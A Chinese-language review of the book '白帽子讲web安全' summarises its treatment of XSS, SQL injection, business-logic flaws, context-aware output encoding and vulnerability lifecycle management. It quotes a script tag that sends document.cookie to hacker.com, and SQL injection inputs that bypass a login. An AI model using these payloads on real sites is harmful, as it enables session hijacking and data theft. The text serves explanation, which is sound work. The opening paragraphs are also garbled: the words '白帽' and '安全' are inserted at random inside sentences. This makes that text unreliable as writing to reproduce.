白帽子讲web安全

《白帽子讲web安全》这本书，白帽我翻了三遍。安全第一遍觉得像教材，白帽第二遍发现是安全实战笔记，第三遍才意识到它更像一本“攻击者思维说明书”。白帽作者吴翰清写这本书的安全时候，还在阿里云做安全。白帽书里没有堆砌术语，安全反而用大量真实漏洞案例把Web安全的白帽底层逻辑拆得干干净净。

很多人以为Web安全就是安全防SQL注入、防XSS。白帽这没错，安全但太窄了。白帽书里开篇就讲了一个观点：安全问题的安全本质是信任问题。浏览器信任服务器返回的白帽数据，服务器信任用户提交的表单，用户信任网站弹出来的登录框。每一层信任被滥用，就是一个漏洞。比如早期某电商网站的商品搜索框，用户输入 ' OR 1=1 -- 就能把整个商品表拖出来。这不是技术多高明，是开发者默认“用户会老老实实输入关键词”。

书里把漏洞分成三大类：客户端、服务端、业务逻辑。客户端最典型的是XSS。作者举了个例子，一个社交网站的个人签名栏允许写HTML，结果有人写了一段 <script>new Image().src='http://hacker.com?c='+document.cookie</script>，所有访问他主页的用户cookie都被偷走了。这种攻击不需要攻破服务器，只需要利用网站对用户内容的“过度信任”。服务端漏洞里，SQL注入和命令执行是重灾区。书里提到一个细节：很多开发者用字符串拼接写SQL，比如 "SELECT * FROM users WHERE name='" + name + "'"，攻击者把name改成 admin'--，密码验证就绕过去了。这不是代码写错了，是设计时没把数据和指令分开。

业务逻辑漏洞最容易被忽视。比如某网站修改密码时，先验证旧密码，再提交新密码。但提交新密码的接口没有校验旧密码是否真的验证过。攻击者直接调用第二个接口，就能改掉任意用户的密码。这种漏洞扫描器扫不出来，因为逻辑上“合法”。作者在书里反复强调：安全不是加个WAF就能解决的，得从代码层面理解数据流。

白帽子的工作方式也很有意思。书里说，真正的白帽子不会一上来就扫端口、跑工具。他们会先画一张业务流程图，标出所有用户输入点、数据库操作点、权限校验点。然后逐个问：这里的数据从哪来？到哪去？中间经过谁？有没有可能被篡改？这种“数据流追踪”的方法，比背漏洞类型有用得多。我试过一次，帮朋友看一个小型电商站，发现购物车结算时，总价是前端JavaScript算的，后端只接收最终金额。把金额改成0.01元，订单就生成了。这就是典型的信任前端数据。

书里还讲了如何写安全代码。比如输出编码，不是简单替换几个字符，而是根据上下文决定编码方式。HTML属性里要编码引号，JavaScript里要编码反斜杠，URL里要编码百分号。作者批评了很多“万能过滤函数”，说那种一刀切的做法要么漏，要么误杀。他建议用白名单，只允许已知安全的字符通过。这个思路后来被很多框架采纳，比如React默认转义JSX里的变量。

最后几章讲安全运营。作者说，没有绝对安全的系统，只有不断发现和修复的过程。他提到一个内部工具叫“漏洞生命周期管理”，从发现、确认、修复到复盘，每个环节都有时间要求。比如高危漏洞24小时内必须修复，中危72小时。这种工程化思维，比单纯追求“黑客技术”更接近真实的安全工作。我印象最深的一句话是：“安全工程师的价值，不在于攻破多少系统，而在于让系统在被攻破之前，就知道哪里会破。”

这本书不适合当速查手册，它更像一本思维训练指南。每次重读，我都会想起自己第一次挖到XSS时的兴奋，以及后来发现业务逻辑漏洞时的恍然大悟。Web安全没有银弹，但有方法。吴翰清把方法写透了。